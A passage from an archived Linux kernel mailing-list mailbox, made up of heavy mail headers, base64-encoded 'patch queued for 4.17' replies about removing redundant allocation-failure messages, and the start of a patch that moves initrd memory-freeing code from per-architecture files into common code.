 izUvVrFbnO9czmxxf90qVoutt6QtTvR9YLW4vGsOm8WjUxeYHDg9PnyM87jffZzJ48Ki36we
 R/5aezSdamf1+LxJLoAtissmJTUnsyy1SN8ugSvjyLwtbAX/mCve9G5kbWCcz9zFyMEhIWAi
 sXuKYBcjF4eQwA5GiRNtP9ggnO+MEi03fjF2MXKCFS1vWc8CkdjAKHHm5jIWkISQwFdGiZ/7
 REBsNgEriYntqxhBpooImEr8ORECUs8ssJBJomljOxNIjbBAlcTqDefZQWwWAVWJfXsOgcV5
 BTQlds9sBbNFBbwktuyDqOcU8JRYsWMDG0SNoMSPyffA9jILyEvs2z+VFcLWkTh7bB0jyDIJ
 gctsEiuO/GKCuNpF4sXcg1C2sMSr41vYIWxpiWerNkI1NDNKfNuxhxkiMYFRYs96IQjbWuLw
 8YtQG/gkOg7/ZYeEF69ERxtUiYfEjhO3oGY6Slze84EVEkKzmCQWXbvPMoFRdhaSw2chOXwW
 ksMXMDKvYhRLLSjOTU8tNiow1itOzC0uzUvXS87P3cQITh5a7jsYt53zOcQowMGoxMNbELMr
 Sog1say4MvcQowQHs5II73uN3VFCvCmJlVWpRfnxRaU5qcWHGKU5WJTEeVsDXKKEBNITS1Kz
 U1MLUotgskwcnFINjDufSSexLm3a1y7eeOTXhMw7oakd788d9Tfc8HOO6+sXlzNeXtR6Yx+S
 mHX6Hpd6oNPRM7+nS4UJLBVt+RjyqTbh8aWcW09v9278dlxR2zuzJsGU7fjDDQrJ 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrILMWRmVeSWpSXmKPExsVy+t9jQd3QWbujDHbOU7G4/+k2o8WVr+/Z
 LNa8WMVucb5zObPF/XWrWC223pK2ONH3gdXi8q45bBaPTl1gcuD0+PAxzuN+93EmjwuLfrN6
 HPlr7dF0qp3V4/MmuQC2KC6blNSczLLUIn27BK6MI/O2sBX8Y65407uRtYFxPnMXIyeHhICJ
 xPKW9SxdjFwcQgLrGCX+zNzDDOF8ZZTY8v4vK0gVm4CVxMT2VYxdjBwcIgKmEn9OhIDUMAss
 ZpKY8esvI0iNsECVxOoN59lBbBYBVYl9ew4xgdi8ApoSu2e2gtmiAl4SW/a1g9mcAp4SK3Zs
 YINYdoxRYlnndBaIBkGJH5PvgdnMAvIS+/ZPZYWwtSTW7zzONIGRfxaSsllIymYhKVvAyLyK
 UTK1oDg3PbfYqMAoL7Vcrzgxt7g0L10vOT93EyMw4Lcd1urfwfh4SfwhRgEORiUe3oKYXVFC
 rIllxZW5hxglOJiVRHjfa+yOEuJNSaysSi3Kjy8qzUktPsQozcGiJM7Ln38sUkggPbEkNTs1
 tSC1CCbLxMEp1cBo/UrcROos69HtbOWfiis3XF9yKcRsteLZQ8YtAmWxx/irgtWvNOXGO+y4
 nFPcMYWj13dSWkVxasfzjC5znz1q6Yf2aLBetZ9x7vICAe5VdXXep5v0J3RNKuxIuyi192Kp
 bVKts8495jurA1MbmOSSBZoM0tp/RCsZ9iqvSzI8qj/11h6J/UosxRmJhlrMRcWJAIA59JB0
 AgAA
X-CMS-MailID: 20180328133621epcas2p2865976351cf3dc28ac258d2c9530ffcd
X-Msg-Generator: CA
CMS-TYPE: 102P
X-CMS-RootMailID: 20180328133621epcas2p2865976351cf3dc28ac258d2c9530ffcd
X-RootMTR: 20180328133621epcas2p2865976351cf3dc28ac258d2c9530ffcd
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:217622 gmane.linux.ports.parisc:28430 gmane.linux.kernel.janitors:52323 gmane.linux.kernel:2727548
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/217622>

T24gU3VuZGF5LCBKYW51YXJ5IDA3LCAyMDE4IDEyOjU4OjQ3IFBNIFNGIE1hcmt1cyBFbGZyaW5n
IHdyb3RlOgo+IEZyb206IE1hcmt1cyBFbGZyaW5nIDxlbGZyaW5nQHVzZXJzLnNvdXJjZWZvcmdl
Lm5ldD4KPiBEYXRlOiBTdW4sIDcgSmFuIDIwMTggMTI6MzQ6MjIgKzAxMDAKPiAKPiBPbWl0IGFu
IGV4dHJhIG1lc3NhZ2UgZm9yIGEgbWVtb3J5IGFsbG9jYXRpb24gZmFpbHVyZSBpbiB0aGlzIGZ1
bmN0aW9uLgo+IAo+IFRoaXMgaXNzdWUgd2FzIGRldGVjdGVkIGJ5IHVzaW5nIHRoZSBDb2NjaW5l
bGxlIHNvZnR3YXJlLgo+IAo+IFNpZ25lZC1vZmYtYnk6IE1hcmt1cyBFbGZyaW5nIDxlbGZyaW5n
QHVzZXJzLnNvdXJjZWZvcmdlLm5ldD4KClBhdGNoIHF1ZXVlZCBmb3IgNC4xNywgdGhhbmtzLgoK
QmVzdCByZWdhcmRzLAotLQpCYXJ0bG9taWVqIFpvbG5pZXJraWV3aWN6ClNhbXN1bmcgUiZEIElu
c3RpdHV0ZSBQb2xhbmQKU2Ftc3VuZyBFbGVjdHJvbmljcwoKX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX18KZHJpLWRldmVsIG1haWxpbmcgbGlzdApkcmktZGV2
ZWxAbGlzdHMuZnJlZWRlc2t0b3Aub3JnCmh0dHBzOi8vbGlzdHMuZnJlZWRlc2t0b3Aub3JnL21h
aWxtYW4vbGlzdGluZm8vZHJpLWRldmVsCg==


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH] video/console/sticore: Delete an error message for a
 failed memory allocation in sti_try_rom_generic()
Date: Wed, 28 Mar 2018 16:19:31 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <1899328.6kM0nNg5W5@amdc3058>
References: <CGME20171205180033epcas4p3cb5142e079695c72736e1f27489466d3@epcas4p3.samsung.com>
 <6b8dde60-0550-5fb3-c7a5-5f6282259186@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522246660 21298 195.159.176.226 (28 Mar 2018 14:17:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 14:17:40 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 Helge Deller <deller@gmx.de>, kernel-janitors@vger.kernel.org, "James E. J.
 Bottomley" <jejb@parisc-linux.org>, dri-devel@lists.freedesktop.org,
 LKML <linux-kernel@vger.kernel.org>
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Wed Mar 28 16:17:35 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1f1BtO-0005NN-Jq
	for sf-dri-devel@m.gmane.org; Wed, 28 Mar 2018 16:17:35 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 0314D6E32D;
	Wed, 28 Mar 2018 14:19:40 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mailout1.samsung.com (mailout1.samsung.com [203.254.224.24])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 76AF86E32D
 for <dri-devel@lists.freedesktop.org>; Wed, 28 Mar 2018 14:19:38 +0000 (UTC)
Original-Received: from epcas1p2.samsung.com (unknown [182.195.41.46])
 by mailout1.samsung.com (KnoxPortal) with ESMTP id
 20180328141935epoutp01718a56db3389b60eb0231f84b1ce183b~gG2CaLnCG0497504975epoutp01h;
 Wed, 28 Mar 2018 14:19:35 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout1.samsung.com
 20180328141935epoutp01718a56db3389b60eb0231f84b1ce183b~gG2CaLnCG0497504975epoutp01h
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
 s=mail20170921; t=1522246775;
 bh=B0s4Ug3Sex4Tld81Q9qVQLd4rYFSJL+I0wGu82DnfQM=;
 h=From:To:Cc:Subject:Date:In-reply-to:References:From;
 b=LL0bA8D5EOEncaGnJOUGDqeV/PaPViEEPmbOFSh8M2/3DFx/E/NT+j68VwDQFVRb5
 ThS/aXvKwYwIhVF0cIqUgEaujFf/gsljrao8wyu0akVCD08XMFmQx0BcchngbmJ2RG
 vIlk9T/rxsZIDRNKwzEUs8FldtrLqKvKHfCzsIYA=
Original-Received: from epsmges1p1.samsung.com (unknown [182.195.42.53]) by
 epcas1p3.samsung.com (KnoxPortal) with ESMTP id
 20180328141934epcas1p302c8d093fc829d08c243b5957d679cf8~gG2BLdS9L0811108111epcas1p3k;
 Wed, 28 Mar 2018 14:19:34 +0000 (GMT)
Original-Received: from epcas1p2.samsung.com ( [182.195.41.46]) by
 epsmges1p1.samsung.com (Symantec Messaging Gateway) with SMTP id
 C1.B3.04078.674ABBA5; Wed, 28 Mar 2018 23:19:34 +0900 (KST)
Original-Received: from epsmgms2p1new.samsung.com (unknown [182.195.42.142]) by
 epcas1p3.samsung.com (KnoxPortal) with ESMTP id
 20180328141934epcas1p35287a5e36e4c79370c50e5800990e3db~gG2A5PnVD0406804068epcas1p3d;
 Wed, 28 Mar 2018 14:19:34 +0000 (GMT)
X-AuditID: b6c32a35-139ff70000000fee-25-5abba476ab43
Original-Received: from epmmp2 ( [203.254.227.17]) by epsmgms2p1new.samsung.com
 (Symantec Messaging Gateway) with SMTP id 89.24.03849.574ABBA5; Wed, 28 Mar
 2018 23:19:34 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102]) by mmp2.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5
 2014)) with ESMTPA id <0P6B008VX14KDS80@mmp2.samsung.com>; Wed, 28 Mar 2018
 23:19:33 +0900 (KST)
In-reply-to: <6b8dde60-0550-5fb3-c7a5-5f6282259186@users.sourceforge.net>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFvrHIsWRmVeSWpSXmKPExsWy7bCmnm7Zkt1RBsv3ilrc/3Sb0eLK1/ds
 Fuc7lzNb3F+3itVi6y1pixN9H1gtLu+aw2bx6NQFJgcOjw8f4zzudx9n8riw6DerR9OpdlaP
 z5vkAlijuGxSUnMyy1KL9O0SuDLe90xhK2hgqZi5ZwF7A+NC5i5GTg4JAROJ/WcaWLsYuTiE
 BHYwShx+tpQZwvnOKPHl+zl2mKpHkz6xQyQ2MErcWD4VquUro8SUUwfZQKrYBKwkJravYuxi
 5OAQETCV+HMiBKSGWeAno8TN+zdYQWqEBWol7m1bAGazCKhKHDu2FayXV0BT4t7il4wgtqiA
 l8SWfe1MIDangKfEi+55TBA1ghI/Jt9jAbGZBeQl9u2fygph60icPbaOEWSZhMAJNomGD7tZ
 QY6QEHCRmPkvBeIDYYlXx7ewQ4SlJS4dtYUob2aU+LZjDzQsJjBK7FkvBGFbSxw+fhFqPp/E
 u689UCN5JTraoEo8JM5vvAnV6ihx+9ZXNkiYzGGUWNSzln0Co+wsJGfPQnL2LCRnL2BkXsUo
 llpQnJueWmxYYKhXnJhbXJqXrpecn7uJEZwqtEx3ME4553OIUYCDUYmH12LR7igh1sSy4src
 Q4wSHMxKIrzvNYBCvCmJlVWpRfnxRaU5qcWHGKU5WJTEeQMCXKKEBNITS1KzU1MLUotgskwc
 nFINjL1X/G+5FFzf18364YmHZeejvTL/pZ4o+/Nu1BPavUo1Zelkg8VKHMVF0o92TEg87HDT
 RtH6xJ434Rxt31umb4srO/hk6WSj+x37JqlLRYrGOssw3XG265b5+nu+xBNZz+Ms 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFrrBLMWRmVeSWpSXmKPExsVy+t9jQd2yJbujDJpuMVnc/3Sb0eLK1/ds
 Fuc7lzNb3F+3itVi6y1pixN9H1gtLu+aw2bx6NQFJgcOjw8f4zzudx9n8riw6DerR9OpdlaP
 z5vkAlijuGxSUnMyy1KL9O0SuDLe90xhK2hgqZi5ZwF7A+NC5i5GTg4JAROJR5M+sXcxcnEI
 CaxjlOh9fZYVwvnKKLGg6TojSBWbgJXExPZVQDYHh4iAqcSfEyEgNcwCPxkldt7qYwGpERao
 lbi3bQEriM0ioCpx7NhWNhCbV0BT4t7il2BzRAW8JLbsa2cCsTkFPCVedM9jglg2j1Fi0r/J
 zBANghI/Jt8DG8osIC+xb/9UVghbS2L9zuNMExj5ZyEpm4WkbBaSsgWMzKsYJVMLinPTc4uN
 CgzzUsv1ihNzi0vz0vWS83M3MQLDe9thrb4djPeXxB9iFOBgVOLhtVi0O0qINbGsuDL3EKME
 B7OSCO97DaAQb0piZVVqUX58UWlOavEhRmkOFiVx3tt5xyKFBNITS1KzU1MLUotgskwcnFIN
 jNujlwfz8PoWnXkVf39mRuXrPRrMLl8eurYsv/bhpe7K7/s/OVX315xfO0dcpzRuuoZwc0HS
 aYmEF+efr1O4fm7P48oPqWtUlP9bzZ64gumDquqjKc31Rn573vz2CuCsOtim9Vzjs6NPu/0u
 1W8XJA0rZt7xMX2wVG+74e5dbqn5xZfsLY9o/FViKc5INNRiLipOBAByHax/awIAAA==
X-CMS-MailID: 20180328141934epcas1p35287a5e36e4c79370c50e5800990e3db
X-Msg-Generator: CA
CMS-TYPE: 101P
X-CMS-RootMailID: 20171205180033epcas4p3cb5142e079695c72736e1f27489466d3
X-RootMTR: 20171205180033epcas4p3cb5142e079695c72736e1f27489466d3
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:217638 gmane.linux.ports.parisc:28431 gmane.linux.kernel.janitors:52337 gmane.linux.kernel:2727596
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/217638>

T24gVHVlc2RheSwgRGVjZW1iZXIgMDUsIDIwMTcgMDc6MDA6MjIgUE0gU0YgTWFya3VzIEVsZnJp
bmcgd3JvdGU6Cj4gRnJvbTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9y
Z2UubmV0Pgo+IERhdGU6IFR1ZSwgNSBEZWMgMjAxNyAxODo0NTo0MiArMDEwMAo+IAo+IE9taXQg
YW4gZXh0cmEgbWVzc2FnZSBmb3IgYSBtZW1vcnkgYWxsb2NhdGlvbiBmYWlsdXJlIGluIHRoaXMg
ZnVuY3Rpb24uCj4gCj4gVGhpcyBpc3N1ZSB3YXMgZGV0ZWN0ZWQgYnkgdXNpbmcgdGhlIENvY2Np
bmVsbGUgc29mdHdhcmUuCj4gCj4gU2lnbmVkLW9mZi1ieTogTWFya3VzIEVsZnJpbmcgPGVsZnJp
bmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgoKUGF0Y2ggcXVldWVkIGZvciA0LjE3LCB0aGFua3Mu
CgpCZXN0IHJlZ2FyZHMsCi0tCkJhcnRsb21pZWogWm9sbmllcmtpZXdpY3oKU2Ftc3VuZyBSJkQg
SW5zdGl0dXRlIFBvbGFuZApTYW1zdW5nIEVsZWN0cm9uaWNzCgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0CmRyaS1k
ZXZlbEBsaXN0cy5mcmVlZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcv
bWFpbG1hbi9saXN0aW5mby9kcmktZGV2ZWwK


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 11:26:51 -0400
Lines: 534
Approved: news@gmane.org
Message-ID: <20180328152714.6103-1-shea@shealevy.com>
References: <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522250781 22455 195.159.176.226 (28 Mar 2018 15:26:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 15:26:21 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Baechle <ralf@linu
To: linux-riscv@lists.infradead.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 17:26:07 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1Cxh-0005X3-R0
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 17:26:06 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=I+T5TLRO5eauZ0QPPHpak0MSi2tWJ1er1kWsSFu5Vzo=; b=CJvcoheixkwhVZbmAAtMbwqGx7
	fv2WP+iK/9WnMUcPlrBZc9xgbI0mrMRbH3YZr0mZnT8Qp1sru0DLs6EXlWJKfqRmp5mbhcr67wYW7
	fCct+YsJO8DnwChzSWEIirKkXLY7UY83Z6RsyCNwYITvg1JJiMsWN5m0XIdOCoZfe8GLwvTpuNiXu
	8HET3qeouxoGlYpgH8twd/P5kLzmVVW0ofJ2BTcv+X1o6IMxAO2qWAu19YJShxBkOg7tuW7lFgTYO
	7vV9Nnou5epKR5rBR7feaeZYlg6HlzLRKI24WngOEgHbQQVY7myOH3oC1iRuLloy/c8PILKagV7UT
	mNv5wkXg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1Czk-00060o-Fj; Wed, 28 Mar 2018 15:28:12 +0000
Original-Received: from smtprelay0199.hostedemail.com ([216.40.44.199]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1Czg-0005zT-Pk; Wed, 28 Mar 2018 15:28:11 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay01.hostedemail.com (Postfix) with ESMTP id 13280100E806B;
 Wed, 28 Mar 2018 15:27:55 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 
X-HE-Tag: coast46_7e8772a2fd911
X-Filterd-Recvd-Size: 20895
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Wed, 28 Mar 2018 15:27:49 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_082809_017163_BD918BC2 
X-CRM114-Status: GOOD (  12.24  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.199 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3689 gmane.linux.kernel:2727666 gmane.linux.ports.mips.general:64256 gmane.linux.ports.sh.devel:56753 gmane.linux.ports.ia64:28757 gmane.linux.ports.hexagon:1606 gmane.linux.kernel.metag:1727 gmane.linux.ports.arm.kernel:641522 gmane.linux.ports.parisc:28432 gmane.linux.ports.alpha:4888 gmane.linux.ports.sparc:27492 gmane.linux.uml.devel:16712 gmane.linux.uml.user:15397 gmane.linux.ports.ppc64.devel:155384
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3689>

Now only those architectures that have custom initrd free requirements
need to define free_initrd_mem.

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/alpha/mm/init.c      |  8 --------
 arch/arc/mm/init.c        |  7 -------
 arch/arm/Kconfig          |  1 +
 arch/arm64/Kconfig        |  1 +
 arch/blackfin/Kconfig     |  1 +
 arch/c6x/mm/init.c        |  7 -------
 arch/cris/Kconfig         |  1 +
 arch/frv/mm/init.c        | 11 -----------
 arch/h8300/mm/init.c      |  7 -------
 arch/hexagon/Kconfig      |  1 +
 arch/ia64/Kconfig         |  1 +
 arch/m32r/Kconfig         |  1 +
 arch/m32r/mm/init.c       | 11 -----------
 arch/m68k/mm/init.c       |  7 -------
 arch/metag/Kconfig        |  1 +
 arch/microblaze/mm/init.c |  7 -------
 arch/mips/Kconfig         |  1 +
 arch/mn10300/Kconfig      |  1 +
 arch/nios2/mm/init.c      |  7 -------
 arch/openrisc/mm/init.c   |  7 -------
 arch/parisc/mm/init.c     |  7 -------
 arch/powerpc/mm/mem.c     |  7 -------
 arch/riscv/mm/init.c      |  6 ------
 arch/s390/Kconfig         |  1 +
 arch/score/Kconfig        |  1 +
 arch/sh/mm/init.c         |  7 -------
 arch/sparc/Kconfig        |  1 +
 arch/tile/Kconfig         |  1 +
 arch/um/kernel/mem.c      |  7 -------
 arch/unicore32/Kconfig    |  1 +
 arch/x86/Kconfig          |  1 +
 arch/xtensa/Kconfig       |  1 +
 init/initramfs.c          |  7 +++++++
 usr/Kconfig               |  4 ++++
 34 files changed, 28 insertions(+), 113 deletions(-)

diff --git a/arch/alpha/mm/init.c b/arch/alpha/mm/init.c
index 9d74520298ab..55f7c8efa962 100644
--- a/arch/alpha/mm/init.c
+++ b/arch/alpha/mm/init.c
@@ -291,11 +291,3 @@ free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void
-free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
diff --git a/arch/arc/mm/init.c b/arch/arc/mm/init.c
index ba145065c579..7bcf23ab1756 100644
--- a/arch/arc/mm/init.c
+++ b/arch/arc/mm/init.c
@@ -229,10 +229,3 @@ void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 3f972e83909b..19d1c5594e2d 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -47,6 +47,7 @@ config ARM
 	select HARDIRQS_SW_RESEND
 	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
 	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
 	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
 	select HAVE_ARCH_MMAP_RND_BITS if MMU
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index cb03e93f03cf..de93620870af 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -85,6 +85,7 @@ config ARM64
 	select HAVE_ALIGNED_STRUCT_PAGE if SLUB
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_BITREVERSE
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_ARCH_HUGE_VMAP
 	select HAVE_ARCH_JUMP_LABEL
 	select HAVE_ARCH_KASAN if !(ARM64_16K_PAGES && ARM64_VA_BITS_48)
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index d9c2866ba618..6c6dae9fe894 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -15,6 +15,7 @@ config BLACKFIN
 	def_bool y
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_TRACEHOOK
+	select HAVE_ARCH_FREE_INITRD_MEM
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index 4cc72b0d1c1d..a11cb657182a 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -66,13 +66,6 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
